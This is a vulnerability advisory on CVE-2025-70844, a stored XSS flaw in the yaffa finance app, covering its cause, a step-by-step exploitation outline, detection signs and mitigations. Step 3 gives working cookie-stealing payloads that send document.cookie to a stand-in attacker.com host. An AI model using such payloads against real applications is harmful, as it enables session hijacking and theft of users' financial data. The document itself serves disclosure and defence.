CVE-2025-70844: 
PHP vulnerability analysis and mitigation

CVE-2025-70844 is a stored Cross-Site Scripting (XSS) vulnerability in yaffa v2.0.0, a self-hosted personal finance web application built on Laravel. An attacker can inject malicious JavaScript into the "Add Account Group" function on the account-group page, causing arbitrary script execution in the browser context of any user who views the affected page. The vulnerability was discovered by researcher J4cky1028 in February 2026 and publicly disclosed on April 7, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) (Github Advisory, Feedly).

The root cause is improper neutralization of user-supplied input before it is rendered in the web page, classified as CWE-79 (Cross-Site Scripting) by the GitHub Advisory Database, though Feedly's estimate also references CWE-94 (Code Injection) (Github Advisory). The vulnerability is stored (persistent) in nature: an attacker submits a crafted payload containing malicious JavaScript through the "Add Account Group" form field, which is then saved to the application's database and subsequently rendered unsanitized to all users who visit the account-group page. Exploitation requires no authentication privileges (PR:N) but does require user interaction (UI:R) — specifically, a victim must navigate to the affected page after the payload has been injected. The scope is changed (S:C), meaning the injected script executes in the victim's browser context rather than the application's own security scope (Github Advisory, Researcher PoC).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of authenticated users who view the compromised account-group page. This can lead to session cookie theft, account takeover, unauthorized actions performed on behalf of victims, redirection to malicious sites, application defacement, or harvesting of sensitive financial data entered by users (Github Advisory, Feedly). Since yaffa is a personal finance application handling sensitive financial information, the confidentiality and integrity risks are particularly significant for self-hosted instances exposed to multiple users.

No public proof-of-concept exploit code beyond the researcher's disclosure repository has been identified, and there is no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability was reported by researcher J4cky1028 and documented in their public vulnerability research repository (Researcher PoC). The EPSS score is approximately 0.014% (3rd percentile), indicating a low probability of exploitation in the near term, and the CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Reconnaissance: Identify a target yaffa v2.0.0 instance, either self-hosted or accessible via the sandbox environment. Confirm the version is 2.0.0 or earlier.
2. Access the Account Group page: Navigate to the account-group management page within the yaffa application. This may require a valid user account depending on the instance's access controls.
3. Inject malicious payload: In the "Add Account Group" form, enter a crafted XSS payload in the account group name field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant like <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.
4. Payload persistence: Submit the form. The malicious payload is stored in the application's database without proper sanitization.
5. Victim triggers execution: When any authenticated user navigates to the account-group page, the stored payload is rendered and executed in their browser, sending session cookies or other sensitive data to the attacker's server.
6. Session hijacking or further attack: The attacker uses the stolen session token to impersonate the victim, access financial data, or perform unauthorized actions within the application (Researcher PoC, Github Advisory).

• Logs: Application or web server access logs showing POST requests to the account-group creation endpoint containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) in form parameters; unusual outbound HTTP requests from users' browsers to external domains shortly after visiting the account-group page.
• Database: Account group entries in the database containing raw HTML or JavaScript code rather than plain text names.
• Network: Outbound requests from victim browsers to unexpected external domains (attacker-controlled servers) carrying URL-encoded cookie or session data as query parameters.
• Application Behavior: Users reporting unexpected redirects, pop-ups, or session invalidation after visiting the account-group page.

The GitHub Advisory Database lists all versions up to and including 2.0.0 as affected, with no patched version explicitly identified in the advisory at time of publication (Github Advisory). Users should upgrade yaffa to the latest available release (v3.2.0 or later as of May 2026) from the official repository, which may include fixes for this issue (yaffa GitHub). As interim mitigations, administrators should implement strict Content Security Policy (CSP) headers to restrict inline script execution, enforce input validation and output encoding for all user-supplied fields (particularly the account group name), and restrict access to the yaffa instance to trusted users only. Conducting a broader security review of other user-input fields in the application is also recommended.